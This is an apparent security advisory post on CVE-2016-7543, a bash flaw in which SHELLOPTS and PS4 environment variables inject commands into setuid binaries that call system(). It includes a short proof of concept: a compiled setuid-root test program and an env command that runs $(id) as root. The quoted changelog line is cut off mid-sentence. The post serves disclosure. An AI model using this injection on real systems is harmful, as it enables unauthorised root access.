Subject: CVE-2016-7543 -- bash SHELLOPTS+PS4

The recent bash 4.4 patched an old attack vector regarding
specially crafted SHELLOPTS+PS4 environment variables
against bogus setuid binaries using system()/popen().

"nn. Shells running as root no longer inherit PS4 from the environment,
closing a security hole involving PS4 expansion performing command

# gcc -xc - -otest <<< 'int main() { setuid(0); system("/bin/date"); }'
# chmod 4755 ./test
# ls -l ./test
-rwsr-xr-x. 1 root root 8549 Sep 10 18:06 ./test
# exit
$ env -i SHELLOPTS=xtrace PS4='$(id)' ./test
